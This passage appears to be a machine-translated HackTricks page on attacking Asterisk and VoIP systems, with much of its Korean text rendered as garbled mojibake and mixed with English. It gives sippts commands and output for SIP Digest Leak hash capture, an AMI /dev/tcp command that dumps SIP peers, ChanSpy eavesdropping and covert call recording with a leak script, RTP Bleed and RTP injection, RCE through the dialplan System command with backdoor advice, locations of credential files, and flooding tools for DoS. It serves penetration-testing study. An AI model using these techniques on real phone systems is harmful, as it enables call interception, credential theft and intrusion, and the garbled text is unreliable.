λ°λΌμ 101 λ° **123123123**μΌλ‘μ νΈμΆμ΄ μ μ‘λλ©°, 첫 λ²μ§Έ νΈμΆλ§ μ°κ²°λ©λλ€β¦ κ·Έλ¬λ 곡격μκ° μ‘΄μ¬νμ§ μλ μΌμΉ νλͺ©μ μ°ννλ νμ₯μλ₯Ό μ¬μ©νλ©΄, κ·Έλ μνλ λ²νΈλ‘λ§ μ νλ₯Ό μ£Όμ
ν μ μμ΅λλ€.
SIPDigestLeak μ·¨μ½μ
SIP Digest Leakλ νλμ¨μ΄ λ° μννΈμ¨μ΄ IP μ νμ μ ν μ΄λν°(VoIPμμ μλ λ‘κ·Έλ‘) λ± λ§μ SIP μ νμ μν₯μ λ―ΈμΉλ μ·¨μ½μ μ λλ€. μ΄ μ·¨μ½μ μ λΉλ°λ²νΈλ‘λΆν° κ³μ°λ Digest μΈμ¦ μλ΅μ μ μΆμ νμ©ν©λλ€. μ€νλΌμΈ λΉλ°λ²νΈ κ³΅κ²©μ΄ κ°λ₯νλ©°, μ±λ¦°μ§ μλ΅μ κΈ°λ°μΌλ‘ λλΆλΆμ λΉλ°λ²νΈλ₯Ό 볡ꡬν μ μμ΅λλ€.
**μ¬κΈ°μ μ·¨μ½μ μλ리μ€**:
- IP μ ν(νΌν΄μ)λ λͺ¨λ ν¬νΈ(μ: 5060)μμ μ νλ₯Ό μμ λκΈ° μ€μ λλ€.
- 곡격μκ° IP μ νμ INVITEλ₯Ό 보λ λλ€.
- νΌν΄μ μ νκ° μΈλ¦¬κΈ° μμνκ³ λκ΅°κ° μ νλ₯Ό λ°κ³ λμ΅λλ€(μλλ°©μ΄ μ νλ₯Ό λ°μ§ μκΈ° λλ¬Έμ).
- μ νκ° λμ΄μ§λ©΄ νΌν΄μ μ νκ° κ³΅κ²©μμκ² BYEλ₯Ό 보λ λλ€.
- 곡격μκ° 407 μλ΅μ λ°ννμ¬ μΈμ¦μ μμ²νκ³ μΈμ¦ μ±λ¦°μ§λ₯Ό λ°νν©λλ€.
- νΌν΄μ μ νκ° λ λ²μ§Έ BYEμμ μΈμ¦ μ±λ¦°μ§μ λν μλ΅μ μ 곡ν©λλ€.
- 곡격μλ μμ μ λ‘컬 λ¨Έμ (λλ λΆμ° λ€νΈμν¬ λ±)μμ μ±λ¦°μ§ μλ΅μ λν λ¬΄μ°¨λ³ λμ 곡격μ μνν μ μμΌλ©° λΉλ°λ²νΈλ₯Ό μΆμΈ‘ν μ μμ΅λλ€.
- SIPPTS μ μΆ sippts: SIPPTS μ μΆμ λ§μ SIP μ νμ μν₯μ λ―ΈμΉλ SIP Digest Leak μ·¨μ½μ μ μ μ©ν©λλ€. μΆλ ₯μ SipCrack νμμΌλ‘ μ μ₯λμ΄ SIPPTS dcrack λλ SipCrack λꡬλ₯Ό μ¬μ©νμ¬ λ¬΄μ°¨λ³ λμ 곡격μ μνν μ μμ΅λλ€.
sippts leak -i 10.10.0.10
[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100
[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok
Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5
Click2Call
Click2Callμ μΉ μ¬μ©μκ° (μλ₯Ό λ€μ΄, μ νμ κ΄μ¬μ΄ μμ μ μλ) μ νλ²νΈλ₯Ό μ λ ₯νμ¬ μ νλ₯Ό λ°μ μ μλλ‘ ν©λλ€. κ·Έλ¬λ©΄ μμ μ μΈ μ νκ° κ±Έλ¦¬κ³ , μ¬μ©μκ° μ νλ₯Ό λ°μΌλ©΄ μλ΄μκ³Ό μ°κ²°λ©λλ€.
μ΄μ κ΄λ ¨λ μΌλ°μ μΈ Asterisk νλ‘νμ:
[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
- μ΄μ νλ‘νμ λͺ¨λ IP μ£Όμκ° μ°κ²°ν μ μλλ‘ νμ©νκ³ μμ΅λλ€ (λΉλ°λ²νΈκ° μλ €μ§ κ²½μ°).
- μ΄μ μ λͺ μλ λλ‘ μ νλ₯Ό μ‘°μ§νκΈ° μν΄λ μ½κΈ° κΆνμ΄ νμνμ§ μμΌλ©° μ€μ§ μ°κΈ°μμ λ°μ λ§ νμν©λλ€.
μ΄λ¬ν κΆνμΌλ‘ λΉλ°λ²νΈλ₯Ό μλ λͺ¨λ IPκ° μ°κ²°νμ¬ λ무 λ§μ μ 보λ₯Ό μΆμΆν μ μμ΅λλ€, μλ₯Ό λ€μ΄:
# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
λ λ§μ μ 보λ μ‘°μΉλ₯Ό μμ²ν μ μμ΅λλ€.
λμ²
Asteriskμμλ **λͺ¨λν°λ§ν νμ₯(λ€)**μ μ§μ νμ¬ λνλ₯Ό λ€μ μ μλ ChanSpy λͺ
λ Ήμ μ¬μ©ν μ μμ΅λλ€. μ΄ λͺ
λ Ήμ νμ₯μ ν λΉλμ΄μΌ ν©λλ€.
μλ₯Ό λ€μ΄, exten => 333,1,ChanSpy('all',qb)λ νμ₯ 333μΌλ‘ μ νλ₯Ό κ±Έλ©΄ λͺ¨λ νμ₯μ λͺ¨λν°λ§νκ³ , μλ‘μ΄ λνκ° μμλ λλ§λ€ (b) μ‘°μ©ν λͺ¨λ(q)λ‘ λ£κΈ° μμν¨μ λνλ
λλ€. μ°λ¦¬λ κ·Έ λνμ κ°μ
νκ³ μΆμ§ μκΈ° λλ¬Έμ
λλ€. *****λ₯Ό λλ¬μ λλ νμ₯ λ²νΈλ₯Ό μ
λ ₯νμ¬ ν λνμμ λ€λ₯Έ λνλ‘ μ΄λν μ μμ΅λλ€.
νλμ νμ₯λ§ λͺ¨λν°λ§νλ €λ©΄ **ExtenSpy**λ₯Ό μ¬μ©ν μλ μμ΅λλ€.
λνλ₯Ό λ£λ λμ , λ€μκ³Ό κ°μ νμ₯μ μ¬μ©νμ¬ νμΌμ κΈ°λ‘ν μ μμ΅λλ€:
[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})
ν΅νλ **/tmp**μ μ μ₯λ©λλ€.
Asteriskκ° μ’ λ£λ λ ν΅νλ₯Ό μ μΆνλ μ€ν¬λ¦½νΈλ₯Ό μ€ννλλ‘ λ§λ€ μλ μμ΅λλ€.
exten => h,1,System(/tmp/leak_conv.sh &)
RTCPBleed μ·¨μ½μ
RTCPBleedλ Asterisk κΈ°λ° VoIP μλ²μ μν₯μ λ―ΈμΉλ μ£Όμ 보μ λ¬Έμ μ λλ€(2017λ μ λ°νλ¨). μ΄ μ·¨μ½μ μ VoIP λνλ₯Ό μ λ¬νλ RTP(Real Time Protocol) νΈλν½μ΄ μΈν°λ·μ λꡬμ μν΄ κ°λ‘μ±μ§κ³ 리λλ μ λ μ μλλ‘ νμ©ν©λλ€. μ΄λ RTP νΈλν½μ΄ NAT(λ€νΈμν¬ μ£Όμ λ³ν) λ°©νλ²½μ ν΅κ³Όν λ μΈμ¦μ μ°ννκΈ° λλ¬Έμ λ°μν©λλ€.
RTP νλ‘μλ λ κ° μ΄μμ λΉμ¬μ κ°μ RTP μ€νΈλ¦Όμ νλ‘μνμ¬ RTC μμ€ν μ μν₯μ λ―ΈμΉλ NAT μ νμ ν΄κ²°νλ €κ³ ν©λλ€. NATκ° μλ κ²½μ°, RTP νλ‘μ μννΈμ¨μ΄λ μ’ μ’ μ νΈλ₯Ό ν΅ν΄ κ²μλ RTP IP λ° ν¬νΈ μ 보λ₯Ό μ λ’°ν μ μμ΅λλ€(μ: SIP). λ°λΌμ μ¬λ¬ RTP νλ‘μκ° IP λ° ν¬νΈ ννμ μλμΌλ‘ νμ΅νλ λ©μ»€λμ¦μ ꡬννμ΅λλ€. μ΄λ μ’ μ’ λ€μ΄μ€λ RTP νΈλν½μ κ²μ¬νκ³ λ€μ΄μ€λ RTP νΈλν½μ μΆμ² IP λ° ν¬νΈλ₯Ό μλ΅ν΄μΌ ν κ²μΌλ‘ νμνλ λ°©μμΌλ‘ μνλ©λλ€. μ΄ λ©μ»€λμ¦μ βνμ΅ λͺ¨λβλΌκ³ λΆλ¦΄ μ μμΌλ©°, μ΄λ ν μ’ λ₯μ μΈμ¦λ μ¬μ©νμ§ μμ΅λλ€. λ°λΌμ 곡격μλ RTP νλ‘μλ‘ RTP νΈλν½μ μ μ‘νκ³ μ§ν μ€μΈ RTP μ€νΈλ¦Όμ λ°μ μ λλ μμ μλ₯Ό μν΄ μλλ νλ‘μ RTP νΈλν½μ λ°μ μ μμ΅λλ€. μ΄ μ·¨μ½μ μ RTP BleedλΌκ³ λΆλ₯΄λ μ΄μ λ 곡격μκ° ν©λ²μ μΈ μ¬μ©μμκ² μ μ‘λ RTP λ―Έλμ΄ μ€νΈλ¦Όμ μμ ν μ μκ² ν΄μ£ΌκΈ° λλ¬Έμ λλ€.
RTP νλ‘μμ RTP μ€νμ λ λ€λ₯Έ ν₯λ―Έλ‘μ΄ λμμ λλλ‘ RTP Bleedμ μ·¨μ½νμ§ μλλΌλ λͺ¨λ μΆμ²μ RTP ν¨ν·μ μλ½, μ λ¬ λ°/λλ μ²λ¦¬νλ€λ κ²μ λλ€. λ°λΌμ 곡격μλ ν©λ²μ μΈ λ―Έλμ΄ λμ μμ μ λ―Έλμ΄λ₯Ό μ£Όμ ν μ μλ RTP ν¨ν·μ λ³΄λΌ μ μμ΅λλ€. μ΄ κ³΅κ²©μ RTP μ£Όμ μ΄λΌκ³ λΆλ₯΄λ©°, μ΄λ κΈ°μ‘΄ RTP μ€νΈλ¦Όμ λΆλ²μ μΈ RTP ν¨ν·μ μ£Όμ ν μ μκ² ν΄μ€λλ€. μ΄ μ·¨μ½μ μ RTP νλ‘μμ μλν¬μΈνΈ λͺ¨λμμ λ°κ²¬λ μ μμ΅λλ€.
Asteriskμ FreePBXλ μ ν΅μ μΌλ‘ NAT=yes μ€μ μ μ¬μ©νμ¬ RTP νΈλν½μ΄ μΈμ¦μ μ°ννλλ‘ νμ¬ ν΅νμμ μ€λμ€κ° μκ±°λ μΌλ°©ν₯ μ€λμ€κ° λ°μν μ μμ΅λλ€.
μμΈν μ 보λ https://www.rtpbleed.com/λ₯Ό νμΈνμΈμ.
SIPPTS rtpbleedfrom sippts: SIPPTS rtpbleedλ RTP μ€νΈλ¦Όμ μ μ‘νμ¬ RTP Bleed μ·¨μ½μ μ κ°μ§ν©λλ€.
sippts rtpbleed -i 10.10.0.10
SIPPTS rtcpbleedfrom sippts: SIPPTS rtcpbleedλ RTCP μ€νΈλ¦Όμ μ μ‘νμ¬ RTP Bleed μ·¨μ½μ μ κ°μ§ν©λλ€.
sippts rtcpbleed -i 10.10.0.10
SIPPTS rtpbleedfloodfrom sippts: SIPPTS rtpbleedfloodλ RTP μ€νΈλ¦Όμ μ μ‘νμ¬ RTP Bleed μ·¨μ½μ μ μ μ©ν©λλ€.
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
SIPPTS rtpbleedinjectfrom sippts: SIPPTS rtpbleedinjectλ μ€λμ€ νμΌ(WAV νμ)μ μ£Όμ νμ¬ RTP Bleed μ·¨μ½μ μ μ μ©ν©λλ€.
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
RCE
Asteriskμμ νμ₯ κ·μΉμ μΆκ°νκ³ μ΄λ₯Ό λ€μ λ‘λνλ λ°©λ²μ somehow κ΄λ¦¬ν μ μλ€λ©΄(μ: μ·¨μ½ν μΉ κ΄λ¦¬μ μλ²λ₯Ό νκ²μΌλ‘ μΌμ), System λͺ
λ Ήμ μ¬μ©νμ¬ RCEλ₯Ό μ»λ κ²μ΄ κ°λ₯ν©λλ€.
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
There is command called Shell that could be used instead of System to execute system commands if necessary.
Warning
If the server is νΉμ λ¬Έμμ μ¬μ©μ νμ©νμ§ μλ κ²½μ° in the
Systemcommand (like in Elastix), check if the web server allows to μμ€ν λ΄μμ νμΌμ μμ±ν μ μλμ§ νμΈ (like in Elastix or trixbox), and use it to λ°±λμ΄ μ€ν¬λ¦½νΈλ₯Ό μμ±νκ³ then useSystemto μ€ν that μ€ν¬λ¦½νΈ.
Interesting local files and permissions
sip.conf-> Contains the password of SIP users.- If the Asterisk server is running as root, you could compromise root
- mysql root user might λΉλ°λ²νΈκ° μμ μ μμ΅λλ€.
- this could be used to create a new mysql user as backdoor
FreePBXamportal.conf-> Contains the password of the web panel administrator (FreePBX)FreePBX.conf-> Constains the password of the user FreePBXuser used to access the database- this could be used to create a new mysql user as backdoor
ElastixElastix.conf-> Contains several passwords in clear text like mysql root pass, IMAPd pass, web admin pass- μ¬λ¬ ν΄λ will belong to the compromised asterisk user (if not running as root). This user can read the previous files and also controls the configuration, so he could make Asterisk to load other backdoored binaries when executed.
RTP Injection
Itβs possible to insert a .wav in converstions using tools such as rtpinsertsound (sudo apt install rtpinsertsound) and rtpmixsound (sudo apt install rtpmixsound).
Or you could use the scripts from http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ to λν μ€μΊ (rtpscan.pl), send a .wav to a conversation (rtpsend.pl) and λνμ μμ μ½μ
(rtpflood.pl).
DoS
There are several ways to try to achieve DoS in VoIP servers.
SIPPTS floodfrom sippts**: SIPPTS flood sends unlimited messages to the target.sippts flood -i 10.10.0.10 -m invite -vSIPPTS pingfrom sippts**: SIPPTS ping makes a SIP ping to see the server response time.sippts ping -i 10.10.0.10- IAXFlooder: DoS IAX protocol used by Asterisk
- inviteflood: A tool to perform SIP/SDP INVITE message flooding over UDP/IP.
- rtpflood: Send several well formed RTP packets. Its needed to know the RTP ports that are being used (sniff first).
- SIPp: Allows to analyze and generate SIP traffic. so it can be used to DoS also.
- SIPsak: SIP swiss army knife. Can also be used to perform SIP attacks.
- Fuzzers: protos-sip, voiper.
OS Vulnerabilities
The easiest way to install a software such as Asterisk is to download an OS distribution that has it already installed, such as: FreePBX, Elastix, Trixboxβ¦ The problem with those is that once itβs working sysadmins might λ€μ μ λ°μ΄νΈνμ§ μμ μ μμ΅λλ€ and μ·¨μ½μ are going to be discovered with time.
References
- https://github.com/Pepelux/sippts/wiki
- https://github.com/EnableSecurity/sipvicious
- http://blog.pepelux.org/
- https://www.rtpbleed.com/
- https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4
- https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.


